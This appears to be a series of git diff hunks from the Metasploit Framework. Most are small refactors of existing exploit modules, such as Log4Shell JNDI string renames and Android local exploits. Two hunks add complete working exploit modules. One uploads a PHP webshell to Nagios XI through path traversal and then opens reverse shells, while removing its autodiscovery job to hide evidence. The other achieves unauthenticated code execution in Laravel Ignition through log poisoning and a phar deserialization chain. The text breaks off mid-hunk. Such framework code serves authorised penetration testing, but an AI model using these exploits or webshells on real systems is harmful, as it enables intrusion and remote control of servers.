@ -212,16 +172,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
next if header.blank? || header.start_with?('#')
|
||||
|
||||
token = rand_text_alpha_lower_numeric(8..32)
|
||||
test(token, uri: uri, headers: { header => jndi_string(token) })
|
||||
test(token, uri: uri, headers: { header => log4j_jndi_string(token) })
|
||||
end
|
||||
end
|
||||
|
||||
token = rand_text_alpha_lower_numeric(8..32)
|
||||
jndi = jndi_string(token)
|
||||
jndi = log4j_jndi_string(token)
|
||||
test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/')), '/'))
|
||||
|
||||
token = rand_text_alpha_lower_numeric(8..32)
|
||||
jndi = jndi_string(token)
|
||||
jndi = log4j_jndi_string(token)
|
||||
test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/'))))
|
||||
end
|
||||
|
||||
|
|
|
@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
['CVE', '2019-15949'],
|
||||
['CVE', '2020-5791'],
|
||||
['CVE', '2020-5792'],
|
||||
['CVE', '2020-35578']
|
||||
['CVE', '2020-35578'],
|
||||
['CVE', '2021-37343']
|
||||
]
|
||||
)
|
||||
register_options [
|
||||
|
|
|
@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def exploit
|
||||
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit")
|
||||
exploit_data = File.read(local_file, { :mode => 'rb' })
|
||||
exploit_data = File.read(local_file, mode: 'rb')
|
||||
|
||||
workingdir = session.fs.dir.getwd
|
||||
exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
|
|
|
@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status("Using target: #{my_target.name}")
|
||||
|
||||
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-3153.so")
|
||||
exploit_data = File.read(local_file, { :mode => 'rb' })
|
||||
exploit_data = File.read(local_file, mode: 'rb')
|
||||
|
||||
# Substitute the exploit shellcode with our own
|
||||
space = payload_space
|
||||
|
|
|
@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def exploit
|
||||
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-6282.so")
|
||||
exploit_data = File.read(local_file, { :mode => 'rb' })
|
||||
exploit_data = File.read(local_file, mode: 'rb')
|
||||
|
||||
space = payload_space
|
||||
payload_encoded = payload.encoded
|
||||
|
|
|
@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
if request.uri =~ %r{/loader32$}
|
||||
print_good("armle target is vulnerable.")
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
|
||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||
loader_data = File.read(local_file, mode: 'rb')
|
||||
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
|
||||
config = [srvhost, srvport].pack("Nn") + payload_url
|
||||
payload_url_index = loader_data.index('PAYLOAD_URL')
|
||||
|
@ -70,12 +70,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
elsif request.uri =~ %r{/loader64$}
|
||||
print_good("aarch64 target is vulnerable.")
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
|
||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||
loader_data = File.read(local_file, mode: 'rb')
|
||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||
return
|
||||
elsif request.uri =~ %r{/exploit64$}
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
|
||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||
loader_data = File.read(local_file, mode: 'rb')
|
||||
payload_url_index = loader_data.index('PAYLOAD_URL')
|
||||
loader_data[payload_url_index, payload_url.length] = payload_url
|
||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||
|
|
|
@ -0,0 +1,238 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::NagiosXi
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Nagios XI Autodiscovery Webshell Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
|
||||
The path traversal allows a remote and authenticated administrator to upload a PHP web shell
|
||||
and execute code as `www-data`. The module achieves this by creating an autodiscovery job
|
||||
with an `id` field containing a path traversal to a writable and remotely accessible directory,
|
||||
and `custom_ports` field containing the web shell. A cron file will be created using the chosen
|
||||
path and file name, and the web shell is embedded in the file.
|
||||
|
||||
After the web shell has been written to the victim, this module will then use the web shell to
|
||||
establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
|
||||
the module, and the autodiscovery job is removed as well.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Claroty Team82', # vulnerability discovery
|
||||
'jbaines-r7' # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2021-37343'],
|
||||
['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
|
||||
],
|
||||
'DisclosureDate' => '2021-07-15',
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_openssl'
|
||||
},
|
||||
'Payload' => {
|
||||
'Append' => ' & disown'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'MeterpreterTryToFork' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options [
|
||||
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
|
||||
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
|
||||
OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
|
||||
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
|
||||
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
|
||||
]
|
||||
|
||||
@webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
|
||||
@webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
|
||||
end
|
||||
|
||||
# Authenticate and grab the version from the dashboard. Store auth cookies for later user.
|
||||
def check
|
||||
login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
|
||||
case login_result
|
||||
when 1..3 # An error occurred
|
||||
return CheckCode::Unknown(res_array[0])
|
||||
when 4
|
||||
return CheckCode::Detected('Nagios is not fully installed.')
|
||||
when 5
|
||||
return CheckCode::Detected('The Nagios license has not been signed.')
|
||||
end
|
||||
|
||||
# res_array[1] cannot be nil since the mixin checks for that already.
|
||||
@auth_cookies = res_array[1]
|
||||
|
||||
nagios_version = nagios_xi_version(res_array[0])
|
||||
if nagios_version.nil?
|
||||
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
|
||||
end
|
||||
|
||||
# affected versions are 5.2.0 -> 5.8.4
|
||||
if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
|
||||
Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
|
||||
return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
|
||||
end
|
||||
|
||||
# Using the path traversal, upload a php webshell to the remote target
|
||||
def drop_webshell
|
||||
autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
|
||||
print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => autodisc_uri,
|
||||
'cookie' => @auth_cookies,
|
||||
'vars_get' => {
|
||||
'mode' => 'newjob'
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Disconnected, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
|
||||
|
||||
# snag the nsp token from the response
|
||||
nsp = get_nsp(res)
|
||||
fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
|
||||
|
||||
# drop a basic web shell on the server
|
||||
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
|
||||
print_status("Uploading webshell to #{webshell_location}")
|
||||
php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
|
||||
payload = 'update=1&' \
|
||||
"job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
|
||||
"nsp=#{nsp}&" \
|
||||
'address=127.0.0.1%2F0&' \
|
||||
'frequency=Yearly&' \
|
||||
"custom_ports=#{php_webshell}&"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => autodisc_uri,
|
||||
'cookie' => @auth_cookies,
|
||||
'vars_get' => {
|
||||
'mode' => 'newjob'
|
||||
},
|
||||
'data' => payload
|
||||
})
|
||||
|
||||
fail_with(Failure::Disconnected, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
|
||||
|
||||
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
|
||||
print_status('Testing if web shell installation was successful')
|
||||
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
|
||||
res = execute_via_webshell("echo #{rand_data}")
|
||||
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
|
||||
print_good("Web shell installed at #{webshell_location}")
|
||||
|
||||
# This is a great place to leave a web shell for persistence since it doesn't require auth
|
||||
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
|
||||
if datastore['DELETE_WEBSHELL']
|
||||
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
|
||||
end
|
||||
end
|
||||
|
||||
# Successful exploitation creates a new job in the autodiscovery view. This function deletes
|
||||
# the job that there is no evidence of exploitation in the UI.
|
||||
def cleanup_job
|
||||
print_status('Deleting autodiscovery job')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
|
||||
'cookie' => @auth_cookies,
|
||||
'vars_get' => {
|
||||
'mode' => 'deletejob',
|
||||
'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Disconnected, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
|
||||
end
|
||||
|
||||
# Executes commands via the uploaded webshell
|
||||
def execute_via_webshell(cmd)
|
||||
cmd = Rex::Text.uri_encode(cmd)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
|
||||
})
|
||||
|
||||
fail_with(Failure::Disconnected, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
|
||||
res
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
execute_via_webshell(cmd)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# create a randomish web shell name if the user doesn't specify one
|
||||
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
|
||||
|
||||
drop_webshell
|
||||
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
ensure
|
||||
cleanup_job
|
||||
end
|
||||
end
|
|
@ -5,7 +5,7 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::Log4Shell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
@ -195,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
send_request_raw(
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'headers' => { http_header => jndi_string }
|
||||
'headers' => { http_header => log4j_jndi_string }
|
||||
)
|
||||
sleep(datastore['WfsDelay'])
|
||||
handler
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::Log4Shell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
|
@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'data' => {
|
||||
'username' => rand_text_alphanumeric(8..16), # can not be blank!,
|
||||
'password' => rand_text_alphanumeric(8..16), # can not be blank!
|
||||
'remember' => jndi_string,
|
||||
'remember' => log4j_jndi_string,
|
||||
'strict' => true
|
||||
}.to_json
|
||||
)
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::Log4Shell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
@ -117,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# HTTP request initiator
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
|
||||
'headers' => { 'X-Forwarded-For' => jndi_string }
|
||||
'headers' => { 'X-Forwarded-For' => log4j_jndi_string }
|
||||
)
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,226 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Unauthenticated remote code execution in Ignition',
|
||||
'Description' => %q{
|
||||
Ignition before 2.5.2, as used in Laravel and other products,
|
||||
allows unauthenticated remote attackers to execute arbitrary code
|
||||
because of insecure usage of file_get_contents() and file_put_contents().
|
||||
This is exploitable on sites using debug mode with Laravel before 8.4.2.
|
||||
},
|
||||
'Author' => [
|
||||
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
|
||||
'ambionics' # discovered
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2021-3129'],
|
||||
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
|
||||
],
|
||||
'DisclosureDate' => '2021-01-13',
|
||||
'Platform' => %w[unix linux macos win],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix (In-Memory)',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows (In-Memory)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :win_memory,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
|
||||
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'PUT'
|
||||
}, 1)
|
||||
# Check whether it is using facade/ignition
|
||||
# If is using it should respond method not allowed
|
||||
# checking if debug mode is enable
|
||||
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
|
||||
vprint_status 'Debug mode is enabled.'
|
||||
# check version
|
||||
versions = JSON.parse(
|
||||
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')
|
||||
)
|
||||
version = Rex::Version.new(versions['framework_version'])
|
||||
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
|
||||
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)
|
||||
# but it is way more intrusive than just checking the version moreover we would need to call
|
||||
# the find_log_file method before, meaning four requests more.
|
||||
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
@logfile = datastore['LOGFILE'] || find_log_file
|
||||
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile
|
||||
|
||||
clear_log
|
||||
put_payload
|
||||
convert_to_phar
|
||||
run_phar
|
||||
|
||||
handler
|
||||
|
||||
clear_log
|
||||
end
|
||||
|
||||
def find_log_file
|
||||
vprint_status 'Trying to detect log file'
|
||||
res = post Rex::Text.rand_text_alpha_upper(12)
|
||||
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})
|
||||
logpath = Regexp.last_match(1).gsub(/\\/, '')
|
||||
vprint_status "Found directory candidate #{logpath}"
|
||||
logfile = "#{logpath}/storage/logs/laravel.log"
|
||||
vprint_status "Checking if #{logfile} exists"
|
||||
res = post logfile
|
||||
if res.code == 200
|
||||
vprint_status "Found log file #{logfile}"
|
||||
return logfile
|
||||
end
|
||||
vprint_error "Log file does not exist #{logfile}"
|
||||
return
|
||||
end
|
||||
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
|
||||
return
|
||||
end
|
||||
|
||||
def clear_log
|
||||
res = post "php://filter/read=consumed/resource=#{@logfile}"
|
||||
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)
|
||||
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200
|
||||
end
|
||||
|
||||
def put_payload
|
||||
post format_payload
|
||||
post Rex::Text.rand_text_alpha_upper(2)
|
||||
end
|
||||
|
||||
def convert_to_phar
|
||||
filters = %w[
|
||||
convert.quoted-printable-decode
|
||||
convert.iconv.utf-16le.utf-8
|
||||
convert.base64-decode
|
||||
].join('|')
|
||||
|
||||
post "php://filter/write=#{filters}/resource=#{@logfile}"
|
||||
end
|
||||
|
||||
def run_phar
|
||||
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
|
||||
# resp.body.match(%r{^(.*)\n<!doctype html>})
|
||||
# $1 ? print_good($1) : nil
|
||||
end
|
||||
|
||||
def body_template(data)
|
||||
{
|
||||
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
|
||||
parameters: {
|
||||
viewFile: data,
|
||||
variableName: Rex::Text.rand_text_alpha_lower(4..12)
|
||||
}
|
||||
}.to_json
|
||||
end
|
||||
|
||||
def post(data)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'POST',
|
||||
'data' => body_template(data),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Encoding' => 'gzip, deflate'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def generate_phar(pop)
|
||||
file = Rex::Text.rand_text_alpha_lower(8)
|
||||
stub = "<?php __HALT_COMPILER(); ?>\r\n"
|
||||
file_contents = Rex::Text.rand_text_alpha_lower(20)
|
||||
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
|
||||
manifest_len = 40 + pop.length + file.length
|
||||
phar = stub
|
||||
phar << [manifest_len].pack('V') # length of manifest in bytes
|
||||
phar << [0x1].pack('V') # number of files in the phar
|
||||
phar << [0x11].pack('v') # api version of the phar manifest
|
||||
phar << [0x10000].pack('V') # global phar bitmapped flags
|
||||
phar << [0x0].pack('V') # length of phar alias
|
||||
phar << [pop.length].pack('V') # length of phar metadata
|
||||
phar << pop # pop chain
|
||||
phar << [file.length].pack('V') # length of filename in the archive
|
||||
phar << file # filename
|
||||
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
|
||||
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
|
||||
phar << [file_contents.length].pack('V') # length of the compressed file contents
|
||||
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
|
||||
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
|
||||
phar << [0x0].pack('V') # serialized File Meta-data length
|
||||
phar << file_contents # serialized File Meta-data
|
||||
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
|
||||
phar << [0x2].pack('V') # signiture type
|
||||
phar << 'GBMB' # signature presence
|
||||
|
||||
return phar
|
||||
end
|
||||
|
||||
def format_payload
|
||||
# rubocop:disable Style/StringLiterals
|
||||
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""
|
||||
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"
|
||||
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""
|
||||
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""
|
||||
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"
|
||||
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"
|
||||
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"
|
||||
# rubocop:enable Style/StringLiterals
|
||||
phar = generate_phar(serialize)
|
||||
|
||||
b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
|
||||
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join
|
||||
|
||||
return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
|
||||
end
|
||||
|
||||
end
|
|
@ -44,6 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
},
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -60,7 +60,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
|
||||
OptString.new('INTERFACE', [true, 'The name of the interface']),
|
||||
OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
|
||||
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true])
|
||||
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),
|
||||
OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])
|
||||
# For future cross LAN work:
|
||||
# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])
|
||||
]
|
||||
|
@ -85,8 +86,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
print_good('INFO : Warming up...')
|
||||
print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
|
||||
@sessions = {}
|
||||
@mutex = Mutex.new
|
||||
@sessions = []
|
||||
@sessions_mutex = Mutex.new
|
||||
@drop_packet_ip_port_map = {}
|
||||
@drop_packet_ip_port_mutex = Mutex.new
|
||||
@negotiated_dialect_map = {}
|
||||
@negotiated_dialect_mutex = Mutex.new
|
||||
@confirm_server_dialect = datastore['ConfirmServerDialect'] || false
|
||||
@arp_cache = {}
|
||||
@arp_mutex = Mutex.new
|
||||
@main_threads = []
|
||||
|
@ -184,32 +190,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
|
||||
c.stream.each_data do |data|
|
||||
packet = PacketFu::Packet.parse(data)
|
||||
exists = @mutex.synchronize do
|
||||
@sessions[packet.ip_header.ip_daddr] # Prevent erasing existing sessions.
|
||||
end
|
||||
if exists
|
||||
tcp_src = @mutex.synchronize do
|
||||
@sessions[packet.ip_header.ip_daddr][:tcp_src]
|
||||
end
|
||||
if tcp_src != packet.tcp_header.tcp_src
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
else
|
||||
dstmac = getarp(packet.ip_header.ip_daddr)
|
||||
#puts "Got dstmac: #{dstmac.inspect}"
|
||||
@mutex.synchronize do
|
||||
@sessions[packet.ip_header.ip_daddr] = {}
|
||||
@sessions[packet.ip_header.ip_daddr][:tcp_src] = packet.tcp_header.tcp_src
|
||||
@sessions[packet.ip_header.ip_daddr][:acknum] = packet.tcp_header.tcp_ack
|
||||
@sessions[packet.ip_header.ip_daddr][:seqnum] = packet.tcp_header.tcp_seq
|
||||
@sessions[packet.ip_header.ip_daddr][:active] = true
|
||||
@sessions[packet.ip_header.ip_daddr][:dstmac] = dstmac
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac])
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
|
||||
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
|
||||
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
|
||||
packet.to_w(@interface)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -223,26 +207,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
|
||||
c.stream.each_data do |data|
|
||||
packet = PacketFu::Packet.parse(data)
|
||||
@mutex.synchronize do
|
||||
if @sessions[packet.ip_header.ip_daddr]
|
||||
if @sessions[packet.ip_header.ip_daddr][:active]
|
||||
@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum]
|
||||
packet.tcp_header.tcp_ack = @sessions[packet.ip_header.ip_daddr][:acknum]
|
||||
